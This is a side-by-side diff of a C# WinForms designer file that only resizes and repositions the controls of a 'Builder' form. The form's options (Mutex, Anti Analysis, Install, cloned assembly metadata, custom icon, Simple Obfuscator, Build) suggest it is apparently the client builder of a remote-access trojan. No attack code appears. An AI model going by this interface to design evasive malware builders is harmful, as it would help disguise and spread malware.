this.label5.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label5.Name = "label5"; this.label5.Name = "label5";
this.label5.Size = new System.Drawing.Size(36, 13); this.label5.Size = new System.Drawing.Size(52, 20);
this.label5.TabIndex = 10; this.label5.TabIndex = 10;
this.label5.Text = "Mutex"; this.label5.Text = "Mutex";
// //
// chkAnti // chkAnti
// //
this.chkAnti.AutoSize = true; this.chkAnti.AutoSize = true;
this.chkAnti.Location = new System.Drawing.Point(15, 151); this.chkAnti.Location = new System.Drawing.Point(23, 232);
this.chkAnti.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.chkAnti.Name = "chkAnti"; this.chkAnti.Name = "chkAnti";
this.chkAnti.Size = new System.Drawing.Size(85, 17); this.chkAnti.Size = new System.Drawing.Size(125, 24);
this.chkAnti.TabIndex = 9; this.chkAnti.TabIndex = 9;
this.chkAnti.Text = "Anti Analysis"; this.chkAnti.Text = "Anti Analysis";
this.chkAnti.UseVisualStyleBackColor = true; this.chkAnti.UseVisualStyleBackColor = true;
@ -483,20 +451,18 @@ namespace Server.Forms
this.tabControl1.Controls.Add(this.tabPage6); this.tabControl1.Controls.Add(this.tabPage6);
this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill; this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.tabControl1.Location = new System.Drawing.Point(0, 0); this.tabControl1.Location = new System.Drawing.Point(0, 0);
this.tabControl1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabControl1.Name = "tabControl1"; this.tabControl1.Name = "tabControl1";
this.tabControl1.SelectedIndex = 0; this.tabControl1.SelectedIndex = 0;
this.tabControl1.Size = new System.Drawing.Size(405, 323); this.tabControl1.Size = new System.Drawing.Size(607, 497);
this.tabControl1.TabIndex = 10; this.tabControl1.TabIndex = 10;
// //
// tabPage1 // tabPage1
// //
this.tabPage1.Controls.Add(this.groupBox1); this.tabPage1.Controls.Add(this.groupBox1);
this.tabPage1.Location = new System.Drawing.Point(4, 22); this.tabPage1.Location = new System.Drawing.Point(4, 29);
this.tabPage1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage1.Name = "tabPage1"; this.tabPage1.Name = "tabPage1";
this.tabPage1.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2); this.tabPage1.Padding = new System.Windows.Forms.Padding(3);
this.tabPage1.Size = new System.Drawing.Size(397, 297); this.tabPage1.Size = new System.Drawing.Size(599, 464);
this.tabPage1.TabIndex = 0; this.tabPage1.TabIndex = 0;
this.tabPage1.Text = "Connection"; this.tabPage1.Text = "Connection";
this.tabPage1.UseVisualStyleBackColor = true; this.tabPage1.UseVisualStyleBackColor = true;
@ -504,11 +470,10 @@ namespace Server.Forms
// tabPage2 // tabPage2
// //
this.tabPage2.Controls.Add(this.groupBox2); this.tabPage2.Controls.Add(this.groupBox2);
this.tabPage2.Location = new System.Drawing.Point(4, 22); this.tabPage2.Location = new System.Drawing.Point(4, 29);
this.tabPage2.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage2.Name = "tabPage2"; this.tabPage2.Name = "tabPage2";
this.tabPage2.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2); this.tabPage2.Padding = new System.Windows.Forms.Padding(3);
this.tabPage2.Size = new System.Drawing.Size(397, 297); this.tabPage2.Size = new System.Drawing.Size(599, 464);
this.tabPage2.TabIndex = 1; this.tabPage2.TabIndex = 1;
this.tabPage2.Text = "Install"; this.tabPage2.Text = "Install";
this.tabPage2.UseVisualStyleBackColor = true; this.tabPage2.UseVisualStyleBackColor = true;
@ -516,11 +481,10 @@ namespace Server.Forms
// tabPage3 // tabPage3
// //
this.tabPage3.Controls.Add(this.groupBox3); this.tabPage3.Controls.Add(this.groupBox3);
this.tabPage3.Location = new System.Drawing.Point(4, 22); this.tabPage3.Location = new System.Drawing.Point(4, 29);
this.tabPage3.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage3.Name = "tabPage3"; this.tabPage3.Name = "tabPage3";
this.tabPage3.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2); this.tabPage3.Padding = new System.Windows.Forms.Padding(3);
this.tabPage3.Size = new System.Drawing.Size(397, 297); this.tabPage3.Size = new System.Drawing.Size(599, 464);
this.tabPage3.TabIndex = 2; this.tabPage3.TabIndex = 2;
this.tabPage3.Text = "Misc"; this.tabPage3.Text = "Misc";
this.tabPage3.UseVisualStyleBackColor = true; this.tabPage3.UseVisualStyleBackColor = true;
@ -528,11 +492,10 @@ namespace Server.Forms
// tabPage4 // tabPage4
// //
this.tabPage4.Controls.Add(this.groupBox4); this.tabPage4.Controls.Add(this.groupBox4);
this.tabPage4.Location = new System.Drawing.Point(4, 22); this.tabPage4.Location = new System.Drawing.Point(4, 29);
this.tabPage4.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage4.Name = "tabPage4"; this.tabPage4.Name = "tabPage4";
this.tabPage4.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2); this.tabPage4.Padding = new System.Windows.Forms.Padding(3);
this.tabPage4.Size = new System.Drawing.Size(397, 297); this.tabPage4.Size = new System.Drawing.Size(599, 464);
this.tabPage4.TabIndex = 3; this.tabPage4.TabIndex = 3;
this.tabPage4.Text = "Assembly"; this.tabPage4.Text = "Assembly";
this.tabPage4.UseVisualStyleBackColor = true; this.tabPage4.UseVisualStyleBackColor = true;
@ -557,11 +520,9 @@ namespace Server.Forms
this.groupBox4.Controls.Add(this.label7); this.groupBox4.Controls.Add(this.label7);
this.groupBox4.Controls.Add(this.txtProduct); this.groupBox4.Controls.Add(this.txtProduct);
this.groupBox4.Controls.Add(this.label8); this.groupBox4.Controls.Add(this.label8);
this.groupBox4.Location = new System.Drawing.Point(4, 11); this.groupBox4.Location = new System.Drawing.Point(6, 17);
this.groupBox4.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.groupBox4.Name = "groupBox4"; this.groupBox4.Name = "groupBox4";
this.groupBox4.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2); this.groupBox4.Size = new System.Drawing.Size(585, 439);
this.groupBox4.Size = new System.Drawing.Size(390, 285);
this.groupBox4.TabIndex = 8; this.groupBox4.TabIndex = 8;
this.groupBox4.TabStop = false; this.groupBox4.TabStop = false;
this.groupBox4.Text = "Assembly Information"; this.groupBox4.Text = "Assembly Information";
@ -569,10 +530,9 @@ namespace Server.Forms
// btnClone // btnClone
// //
this.btnClone.Enabled = false; this.btnClone.Enabled = false;
this.btnClone.Location = new System.Drawing.Point(302, 28); this.btnClone.Location = new System.Drawing.Point(453, 43);
this.btnClone.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.btnClone.Name = "btnClone"; this.btnClone.Name = "btnClone";
this.btnClone.Size = new System.Drawing.Size(69, 25); this.btnClone.Size = new System.Drawing.Size(103, 38);
this.btnClone.TabIndex = 21; this.btnClone.TabIndex = 21;
this.btnClone.Text = "Clone"; this.btnClone.Text = "Clone";
this.btnClone.UseVisualStyleBackColor = true; this.btnClone.UseVisualStyleBackColor = true;
@ -581,10 +541,9 @@ namespace Server.Forms
// btnAssembly // btnAssembly
// //
this.btnAssembly.AutoSize = true; this.btnAssembly.AutoSize = true;
this.btnAssembly.Location = new System.Drawing.Point(10, 19); this.btnAssembly.Location = new System.Drawing.Point(15, 29);
this.btnAssembly.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.btnAssembly.Name = "btnAssembly"; this.btnAssembly.Name = "btnAssembly";
this.btnAssembly.Size = new System.Drawing.Size(59, 17); this.btnAssembly.Size = new System.Drawing.Size(85, 24);
this.btnAssembly.TabIndex = 20; this.btnAssembly.TabIndex = 20;
this.btnAssembly.Text = "Enable"; this.btnAssembly.Text = "Enable";
this.btnAssembly.UseVisualStyleBackColor = true; this.btnAssembly.UseVisualStyleBackColor = true;
@ -594,10 +553,9 @@ namespace Server.Forms
// //
this.txtFileVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtFileVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtFileVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtFileVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtFileVersion.Enabled = false; this.txtFileVersion.Enabled = false;
this.txtFileVersion.Location = new System.Drawing.Point(106, 259); this.txtFileVersion.Location = new System.Drawing.Point(159, 398);
this.txtFileVersion.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtFileVersion.Name = "txtFileVersion"; this.txtFileVersion.Name = "txtFileVersion";
this.txtFileVersion.Size = new System.Drawing.Size(266, 20); this.txtFileVersion.Size = new System.Drawing.Size(397, 26);
this.txtFileVersion.TabIndex = 19; this.txtFileVersion.TabIndex = 19;
this.txtFileVersion.Text = global::Server.Properties.Settings.Default.txtFileVersion; this.txtFileVersion.Text = global::Server.Properties.Settings.Default.txtFileVersion;
// //
@ -605,10 +563,9 @@ namespace Server.Forms
// //
this.txtProductVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtProductVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtProductVersion.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtProductVersion", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtProductVersion.Enabled = false; this.txtProductVersion.Enabled = false;
this.txtProductVersion.Location = new System.Drawing.Point(106, 231); this.txtProductVersion.Location = new System.Drawing.Point(159, 356);
this.txtProductVersion.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtProductVersion.Name = "txtProductVersion"; this.txtProductVersion.Name = "txtProductVersion";
this.txtProductVersion.Size = new System.Drawing.Size(266, 20); this.txtProductVersion.Size = new System.Drawing.Size(397, 26);
this.txtProductVersion.TabIndex = 18; this.txtProductVersion.TabIndex = 18;
this.txtProductVersion.Text = global::Server.Properties.Settings.Default.txtProductVersion; this.txtProductVersion.Text = global::Server.Properties.Settings.Default.txtProductVersion;
// //
@ -616,10 +573,9 @@ namespace Server.Forms
// //
this.txtOriginalFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtOriginalFilename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtOriginalFilename.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtOriginalFilename", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtOriginalFilename.Enabled = false; this.txtOriginalFilename.Enabled = false;
this.txtOriginalFilename.Location = new System.Drawing.Point(106, 204); this.txtOriginalFilename.Location = new System.Drawing.Point(159, 314);
this.txtOriginalFilename.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtOriginalFilename.Name = "txtOriginalFilename"; this.txtOriginalFilename.Name = "txtOriginalFilename";
this.txtOriginalFilename.Size = new System.Drawing.Size(266, 20); this.txtOriginalFilename.Size = new System.Drawing.Size(397, 26);
this.txtOriginalFilename.TabIndex = 17; this.txtOriginalFilename.TabIndex = 17;
this.txtOriginalFilename.Text = global::Server.Properties.Settings.Default.txtOriginalFilename; this.txtOriginalFilename.Text = global::Server.Properties.Settings.Default.txtOriginalFilename;
// //
@ -627,10 +583,9 @@ namespace Server.Forms
// //
this.txtTrademarks.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtTrademarks", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtTrademarks.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtTrademarks", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtTrademarks.Enabled = false; this.txtTrademarks.Enabled = false;
this.txtTrademarks.Location = new System.Drawing.Point(106, 177); this.txtTrademarks.Location = new System.Drawing.Point(159, 272);
this.txtTrademarks.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtTrademarks.Name = "txtTrademarks"; this.txtTrademarks.Name = "txtTrademarks";
this.txtTrademarks.Size = new System.Drawing.Size(266, 20); this.txtTrademarks.Size = new System.Drawing.Size(397, 26);
this.txtTrademarks.TabIndex = 16; this.txtTrademarks.TabIndex = 16;
this.txtTrademarks.Text = global::Server.Properties.Settings.Default.txtTrademarks; this.txtTrademarks.Text = global::Server.Properties.Settings.Default.txtTrademarks;
// //
@ -638,10 +593,9 @@ namespace Server.Forms
// //
this.txtCopyright.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtCopyright", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtCopyright.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtCopyright", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtCopyright.Enabled = false; this.txtCopyright.Enabled = false;
this.txtCopyright.Location = new System.Drawing.Point(106, 149); this.txtCopyright.Location = new System.Drawing.Point(159, 230);
this.txtCopyright.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtCopyright.Name = "txtCopyright"; this.txtCopyright.Name = "txtCopyright";
this.txtCopyright.Size = new System.Drawing.Size(266, 20); this.txtCopyright.Size = new System.Drawing.Size(397, 26);
this.txtCopyright.TabIndex = 15; this.txtCopyright.TabIndex = 15;
this.txtCopyright.Text = global::Server.Properties.Settings.Default.txtCopyright; this.txtCopyright.Text = global::Server.Properties.Settings.Default.txtCopyright;
// //
@ -649,70 +603,63 @@ namespace Server.Forms
// //
this.txtCompany.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtCompany", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtCompany.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtCompany", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtCompany.Enabled = false; this.txtCompany.Enabled = false;
this.txtCompany.Location = new System.Drawing.Point(106, 122); this.txtCompany.Location = new System.Drawing.Point(159, 188);
this.txtCompany.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtCompany.Name = "txtCompany"; this.txtCompany.Name = "txtCompany";
this.txtCompany.Size = new System.Drawing.Size(266, 20); this.txtCompany.Size = new System.Drawing.Size(397, 26);
this.txtCompany.TabIndex = 14; this.txtCompany.TabIndex = 14;
this.txtCompany.Text = global::Server.Properties.Settings.Default.txtCompany; this.txtCompany.Text = global::Server.Properties.Settings.Default.txtCompany;
// //
// label14 // label14
// //
this.label14.AutoSize = true; this.label14.AutoSize = true;
this.label14.Location = new System.Drawing.Point(5, 233); this.label14.Location = new System.Drawing.Point(8, 359);
this.label14.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label14.Name = "label14"; this.label14.Name = "label14";
this.label14.Size = new System.Drawing.Size(85, 13); this.label14.Size = new System.Drawing.Size(126, 20);
this.label14.TabIndex = 13; this.label14.TabIndex = 13;
this.label14.Text = "Product Version:"; this.label14.Text = "Product Version:";
// //
// label13 // label13
// //
this.label13.AutoSize = true; this.label13.AutoSize = true;
this.label13.Location = new System.Drawing.Point(5, 261); this.label13.Location = new System.Drawing.Point(8, 401);
this.label13.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label13.Name = "label13"; this.label13.Name = "label13";
this.label13.Size = new System.Drawing.Size(64, 13); this.label13.Size = new System.Drawing.Size(96, 20);
this.label13.TabIndex = 12; this.label13.TabIndex = 12;
this.label13.Text = "File Version:"; this.label13.Text = "File Version:";
// //
// label12 // label12
// //
this.label12.AutoSize = true; this.label12.AutoSize = true;
this.label12.Location = new System.Drawing.Point(5, 206); this.label12.Location = new System.Drawing.Point(8, 317);
this.label12.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label12.Name = "label12"; this.label12.Name = "label12";
this.label12.Size = new System.Drawing.Size(90, 13); this.label12.Size = new System.Drawing.Size(135, 20);
this.label12.TabIndex = 11; this.label12.TabIndex = 11;
this.label12.Text = "Original Filename:"; this.label12.Text = "Original Filename:";
// //
// label11 // label11
// //
this.label11.AutoSize = true; this.label11.AutoSize = true;
this.label11.Location = new System.Drawing.Point(5, 179); this.label11.Location = new System.Drawing.Point(8, 275);
this.label11.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label11.Name = "label11"; this.label11.Name = "label11";
this.label11.Size = new System.Drawing.Size(66, 13); this.label11.Size = new System.Drawing.Size(97, 20);
this.label11.TabIndex = 10; this.label11.TabIndex = 10;
this.label11.Text = "Trademarks:"; this.label11.Text = "Trademarks:";
// //
// label10 // label10
// //
this.label10.AutoSize = true; this.label10.AutoSize = true;
this.label10.Location = new System.Drawing.Point(5, 151); this.label10.Location = new System.Drawing.Point(8, 233);
this.label10.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label10.Name = "label10"; this.label10.Name = "label10";
this.label10.Size = new System.Drawing.Size(54, 13); this.label10.Size = new System.Drawing.Size(80, 20);
this.label10.TabIndex = 9; this.label10.TabIndex = 9;
this.label10.Text = "Copyright:"; this.label10.Text = "Copyright:";
// //
// label9 // label9
// //
this.label9.AutoSize = true; this.label9.AutoSize = true;
this.label9.Location = new System.Drawing.Point(5, 124); this.label9.Location = new System.Drawing.Point(8, 191);
this.label9.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label9.Name = "label9"; this.label9.Name = "label9";
this.label9.Size = new System.Drawing.Size(54, 13); this.label9.Size = new System.Drawing.Size(80, 20);
this.label9.TabIndex = 8; this.label9.TabIndex = 8;
this.label9.Text = "Company:"; this.label9.Text = "Company:";
// //
@ -720,20 +667,18 @@ namespace Server.Forms
// //
this.txtDescription.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtDescription", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtDescription.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "txtDescription", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtDescription.Enabled = false; this.txtDescription.Enabled = false;
this.txtDescription.Location = new System.Drawing.Point(106, 95); this.txtDescription.Location = new System.Drawing.Point(159, 146);
this.txtDescription.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtDescription.Name = "txtDescription"; this.txtDescription.Name = "txtDescription";
this.txtDescription.Size = new System.Drawing.Size(266, 20); this.txtDescription.Size = new System.Drawing.Size(397, 26);
this.txtDescription.TabIndex = 7; this.txtDescription.TabIndex = 7;
this.txtDescription.Text = global::Server.Properties.Settings.Default.txtDescription; this.txtDescription.Text = global::Server.Properties.Settings.Default.txtDescription;
// //
// label7 // label7
// //
this.label7.AutoSize = true; this.label7.AutoSize = true;
this.label7.Location = new System.Drawing.Point(5, 97); this.label7.Location = new System.Drawing.Point(8, 149);
this.label7.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label7.Name = "label7"; this.label7.Name = "label7";
this.label7.Size = new System.Drawing.Size(63, 13); this.label7.Size = new System.Drawing.Size(93, 20);
this.label7.TabIndex = 6; this.label7.TabIndex = 6;
this.label7.Text = "Description:"; this.label7.Text = "Description:";
// //
@ -741,31 +686,28 @@ namespace Server.Forms
// //
this.txtProduct.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "ProductName", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged)); this.txtProduct.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "ProductName", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtProduct.Enabled = false; this.txtProduct.Enabled = false;
this.txtProduct.Location = new System.Drawing.Point(106, 68); this.txtProduct.Location = new System.Drawing.Point(159, 104);
this.txtProduct.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtProduct.Name = "txtProduct"; this.txtProduct.Name = "txtProduct";
this.txtProduct.Size = new System.Drawing.Size(266, 20); this.txtProduct.Size = new System.Drawing.Size(397, 26);
this.txtProduct.TabIndex = 5; this.txtProduct.TabIndex = 5;
this.txtProduct.Text = global::Server.Properties.Settings.Default.ProductName; this.txtProduct.Text = global::Server.Properties.Settings.Default.ProductName;
// //
// label8 // label8
// //
this.label8.AutoSize = true; this.label8.AutoSize = true;
this.label8.Location = new System.Drawing.Point(5, 70); this.label8.Location = new System.Drawing.Point(8, 107);
this.label8.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label8.Name = "label8"; this.label8.Name = "label8";
this.label8.Size = new System.Drawing.Size(47, 13); this.label8.Size = new System.Drawing.Size(68, 20);
this.label8.TabIndex = 4; this.label8.TabIndex = 4;
this.label8.Text = "Product:"; this.label8.Text = "Product:";
// //
// tabPage5 // tabPage5
// //
this.tabPage5.Controls.Add(this.groupBox5); this.tabPage5.Controls.Add(this.groupBox5);
this.tabPage5.Location = new System.Drawing.Point(4, 22); this.tabPage5.Location = new System.Drawing.Point(4, 29);
this.tabPage5.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage5.Name = "tabPage5"; this.tabPage5.Name = "tabPage5";
this.tabPage5.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2); this.tabPage5.Padding = new System.Windows.Forms.Padding(3);
this.tabPage5.Size = new System.Drawing.Size(397, 297); this.tabPage5.Size = new System.Drawing.Size(599, 464);
this.tabPage5.TabIndex = 4; this.tabPage5.TabIndex = 4;
this.tabPage5.Text = "Icon"; this.tabPage5.Text = "Icon";
this.tabPage5.UseVisualStyleBackColor = true; this.tabPage5.UseVisualStyleBackColor = true;
@ -777,11 +719,9 @@ namespace Server.Forms
this.groupBox5.Controls.Add(this.txtIcon); this.groupBox5.Controls.Add(this.txtIcon);
this.groupBox5.Controls.Add(this.btnIcon); this.groupBox5.Controls.Add(this.btnIcon);
this.groupBox5.Controls.Add(this.picIcon); this.groupBox5.Controls.Add(this.picIcon);
this.groupBox5.Location = new System.Drawing.Point(4, 11); this.groupBox5.Location = new System.Drawing.Point(6, 17);
this.groupBox5.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.groupBox5.Name = "groupBox5"; this.groupBox5.Name = "groupBox5";
this.groupBox5.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2); this.groupBox5.Size = new System.Drawing.Size(585, 439);
this.groupBox5.Size = new System.Drawing.Size(390, 285);
this.groupBox5.TabIndex = 0; this.groupBox5.TabIndex = 0;
this.groupBox5.TabStop = false; this.groupBox5.TabStop = false;
this.groupBox5.Text = "Add Icon"; this.groupBox5.Text = "Add Icon";
@ -789,10 +729,9 @@ namespace Server.Forms
// chkIcon // chkIcon
// //
this.chkIcon.AutoSize = true; this.chkIcon.AutoSize = true;
this.chkIcon.Location = new System.Drawing.Point(10, 19); this.chkIcon.Location = new System.Drawing.Point(15, 29);
this.chkIcon.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.chkIcon.Name = "chkIcon"; this.chkIcon.Name = "chkIcon";
this.chkIcon.Size = new System.Drawing.Size(59, 17); this.chkIcon.Size = new System.Drawing.Size(85, 24);
this.chkIcon.TabIndex = 8; this.chkIcon.TabIndex = 8;
this.chkIcon.Text = "Enable"; this.chkIcon.Text = "Enable";
this.chkIcon.UseVisualStyleBackColor = true; this.chkIcon.UseVisualStyleBackColor = true;
@ -801,29 +740,26 @@ namespace Server.Forms
// label15 // label15
// //
this.label15.AutoSize = true; this.label15.AutoSize = true;
this.label15.Location = new System.Drawing.Point(7, 58); this.label15.Location = new System.Drawing.Point(11, 89);
this.label15.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label15.Name = "label15"; this.label15.Name = "label15";
this.label15.Size = new System.Drawing.Size(29, 13); this.label15.Size = new System.Drawing.Size(42, 20);
this.label15.TabIndex = 7; this.label15.TabIndex = 7;
this.label15.Text = "Path"; this.label15.Text = "Path";
// //
// txtIcon // txtIcon
// //
this.txtIcon.Enabled = false; this.txtIcon.Enabled = false;
this.txtIcon.Location = new System.Drawing.Point(10, 79); this.txtIcon.Location = new System.Drawing.Point(15, 122);
this.txtIcon.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.txtIcon.Name = "txtIcon"; this.txtIcon.Name = "txtIcon";
this.txtIcon.Size = new System.Drawing.Size(299, 20); this.txtIcon.Size = new System.Drawing.Size(447, 26);
this.txtIcon.TabIndex = 6; this.txtIcon.TabIndex = 6;
// //
// btnIcon // btnIcon
// //
this.btnIcon.Enabled = false; this.btnIcon.Enabled = false;
this.btnIcon.Location = new System.Drawing.Point(323, 79); this.btnIcon.Location = new System.Drawing.Point(485, 122);
this.btnIcon.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.btnIcon.Name = "btnIcon"; this.btnIcon.Name = "btnIcon";
this.btnIcon.Size = new System.Drawing.Size(40, 17); this.btnIcon.Size = new System.Drawing.Size(60, 26);
this.btnIcon.TabIndex = 5; this.btnIcon.TabIndex = 5;
this.btnIcon.Text = " "; this.btnIcon.Text = " ";
this.btnIcon.UseVisualStyleBackColor = true; this.btnIcon.UseVisualStyleBackColor = true;
@ -834,10 +770,9 @@ namespace Server.Forms
this.picIcon.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; this.picIcon.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.picIcon.ErrorImage = null; this.picIcon.ErrorImage = null;
this.picIcon.InitialImage = null; this.picIcon.InitialImage = null;
this.picIcon.Location = new System.Drawing.Point(10, 111); this.picIcon.Location = new System.Drawing.Point(15, 171);
this.picIcon.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.picIcon.Name = "picIcon"; this.picIcon.Name = "picIcon";
this.picIcon.Size = new System.Drawing.Size(86, 84); this.picIcon.Size = new System.Drawing.Size(128, 128);
this.picIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.picIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.picIcon.TabIndex = 4; this.picIcon.TabIndex = 4;
this.picIcon.TabStop = false; this.picIcon.TabStop = false;
@ -846,11 +781,10 @@ namespace Server.Forms
// //
this.tabPage6.Controls.Add(this.chkObfu); this.tabPage6.Controls.Add(this.chkObfu);
this.tabPage6.Controls.Add(this.btnBuild); this.tabPage6.Controls.Add(this.btnBuild);
this.tabPage6.Location = new System.Drawing.Point(4, 22); this.tabPage6.Location = new System.Drawing.Point(4, 29);
this.tabPage6.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.tabPage6.Name = "tabPage6"; this.tabPage6.Name = "tabPage6";
this.tabPage6.Padding = new System.Windows.Forms.Padding(2, 2, 2, 2); this.tabPage6.Padding = new System.Windows.Forms.Padding(3);
this.tabPage6.Size = new System.Drawing.Size(397, 297); this.tabPage6.Size = new System.Drawing.Size(599, 464);
this.tabPage6.TabIndex = 5; this.tabPage6.TabIndex = 5;
this.tabPage6.Text = "Build"; this.tabPage6.Text = "Build";
this.tabPage6.UseVisualStyleBackColor = true; this.tabPage6.UseVisualStyleBackColor = true;
@ -858,20 +792,18 @@ namespace Server.Forms
// chkObfu // chkObfu
// //
this.chkObfu.AutoSize = true; this.chkObfu.AutoSize = true;
this.chkObfu.Location = new System.Drawing.Point(12, 96); this.chkObfu.Location = new System.Drawing.Point(18, 148);
this.chkObfu.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.chkObfu.Name = "chkObfu"; this.chkObfu.Name = "chkObfu";
this.chkObfu.Size = new System.Drawing.Size(112, 17); this.chkObfu.Size = new System.Drawing.Size(166, 24);
this.chkObfu.TabIndex = 2; this.chkObfu.TabIndex = 2;
this.chkObfu.Text = "Simple Obfuscator"; this.chkObfu.Text = "Simple Obfuscator";
this.chkObfu.UseVisualStyleBackColor = true; this.chkObfu.UseVisualStyleBackColor = true;
// //
// btnBuild // btnBuild
// //
this.btnBuild.Location = new System.Drawing.Point(12, 127); this.btnBuild.Location = new System.Drawing.Point(18, 196);
this.btnBuild.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.btnBuild.Name = "btnBuild"; this.btnBuild.Name = "btnBuild";
this.btnBuild.Size = new System.Drawing.Size(359, 32); this.btnBuild.Size = new System.Drawing.Size(539, 49);
this.btnBuild.TabIndex = 1; this.btnBuild.TabIndex = 1;
this.btnBuild.Text = "Build"; this.btnBuild.Text = "Build";
this.btnBuild.UseVisualStyleBackColor = true; this.btnBuild.UseVisualStyleBackColor = true;
@ -879,12 +811,11 @@ namespace Server.Forms
// //
// FormBuilder // FormBuilder
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(405, 323); this.ClientSize = new System.Drawing.Size(607, 497);
this.Controls.Add(this.tabControl1); this.Controls.Add(this.tabControl1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.Name = "FormBuilder"; this.Name = "FormBuilder";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
this.Text = "Builder"; this.Text = "Builder";

View File

